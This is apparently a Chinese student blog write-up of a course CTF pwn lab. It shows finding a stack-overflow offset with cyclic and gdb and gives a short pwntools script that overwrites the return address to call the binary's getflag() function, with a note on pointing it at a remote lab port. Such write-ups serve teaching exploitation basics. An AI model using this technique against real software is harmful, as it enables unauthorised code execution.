Tamevic’s Ctf-Pwn writeup@软件安全‘实验2pwn’

Tamevic’s Ctf-Pwn writeup@软件安全‘实验2pwn’

软件安全第二次实验就开始了栈溢出…

文件
就是一个可执行文件…日后有空一定传网盘…我才没有拖延症凸(艹皿艹 )
3.22更新:来了来了!
链接:https://pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ 密码:6xlt

分析

先把pwn文件拖进女神(IDA)的脸上,对文件进行反编译
(可爱的女神不认识中文…Mac版的IDA使用过程中不能切换成中文输入法,不然会crash…切记切记)
-看看主函数在这里插入图片描述这个文件的操作就是告诉你,‘SUCTF is not hard’ ‘let’s have the di er ci try’然后请你随意输入一点东西,程序就结束了。这里能让我输入我就一定可以做点什么奇奇怪怪的事。

-看看别的函数
在这里插入图片描述要使用栈溢出,就得有个目标地址嘛,看到了有个亲切的函数叫getflag(),其实本质还是 cat f1ag,把目标地址下的名为f1ag的文件里的内容打印出来。要想搞定这个东西应该就用它了。

-开始调试
进入ubuntu,先来试试这个东西的溢出位在哪里,先创建一个长度为200的有序字符串,使用指令

cyclic 200

在这里插入图片描述再用gdb(之前安装的,链接放上!pwn准备https://blog.youkuaiyun.com/Maxmalloc/article/details/87884064 是老(大)胡(佬)写的,感谢感谢)进行测试。使用指令

gdb pwn

再开始运行程序

run

将之前的字符串输入进去,发现发生了溢出
在这里插入图片描述溢出的地方内容是

0x62616164 

再用 cyclic -l 0x62616164 看看是第多少位溢出的
在这里插入图片描述是第112个字母后溢出的。根据栈的特性,比较容易想到将跳转地址放在第113位开始
(这里需要对数据进行打包:即将整数值转换为32位或者64位地址一样的表示方式,比如0x400010表示为\x10\x00\x40一样,这使得我们构造payload变得很方便
用法:

  • p32/p64: 打包一个整数,分别打包为32或64位
  • u32/u64: 解包一个字符串,得到整数)
    所以payload的构建就变成了112*a+p32(getflag)

写好exp开始运行,得到结果

from pwn import *

sh = process('./pwn')
elf=ELF('./pwn')
target=0x0804858B
sh.sendline('a'*(112)+p32(target))
sh.interactive()

结果

运行得到flag
在这里插入图片描述这里需要特别说明一下:
这里所做的操作都是本地调试,使用的是process(‘’)函数,所获取的f1ag文件也是自己先创建好的(因为pwn文件本身不自带f1ag文件,仅有getflag()函数)

End

老胡还有一点小套路,叫我试试远程端端口(138.128.212.238 9999)
其实很简单,将process()换成remote(‘url’,端口号)即可
小彩蛋:
在这里插入图片描述老孔之吻…吐了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值